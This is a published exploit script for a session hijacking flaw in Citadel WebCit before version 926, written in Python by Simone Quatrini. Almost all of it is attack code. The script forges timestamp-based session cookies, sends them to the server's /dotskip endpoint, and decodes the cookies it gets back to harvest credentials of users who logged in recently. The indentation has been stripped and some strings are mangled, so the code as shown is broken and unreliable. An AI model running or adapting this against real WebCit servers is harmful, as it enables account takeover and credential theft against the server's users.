Authored by Simone Quatrini

Citadel WebCit versions prior to 926 suffer from a session hijacking vulnerability.

# Exploit Title: Citadel WebCit < 926 - Session Hijacking Exploit
# Exploit Author: Simone Quatrini
# Version: 926

#!/usr/bin/env python3
import argparse
import requests
import time
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning


parser = argparse.ArgumentParser(description="Webcit <= 926 Session Hijacking")
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.:")
parser.add_argument('--verbose', '-v', action='store_true', required=False, help="Shows the full response")
args = parser.parse_args()

url = args.url
verbose = args.verbose

def check_endpoint(url):
headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'}
response = requests.get(url+'/dotskip?room=_BASEROOM_', headers=headers, verify=False)
if response.status_code == 200:
print("[+] WebCit is reachablen")
print("n[-] WebCit response code: ", response.status_code)

def harvesting(url, verbose):
#Current Timestamp
epoch_time = int(time.time())
#harvesting technique only search for user that logged-in within the last ~20 minutes.
#increase the search_back_in variable's number to search even backwards (it will require more time and requests)
#Also, make sure that you're using the same timezone of the server
search_back_in = 999
print("[/] Credential harvesting in progress...")
while search_back_in > 0:
payload = str(epoch_time-search_back_in)+'|||||'
payload_hex = payload.encode(encoding='utf_8').hex()
headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36','Cookie':'webcit='+payload_hex+''}
response = requests.get(url+'/dotskip?room=_BASEROOM_', headers=headers, verify=False)
cookievalue = bytes.fromhex(response.cookies['webcit'])
cookievalue = cookievalue.decode(encoding='utf_8')
parts = cookievalue.split('|')

if ((len(parts[1])) and (len(parts[2]))):
print("Credential found: ", cookievalue)

print("[-] Invalid returned cookie value not valid, skipping")
search_back_in = search_back_in - 1
print("[+] Credential harvesting done.")

# Default actions if only '--url' is passed
harvesting(url, verbose)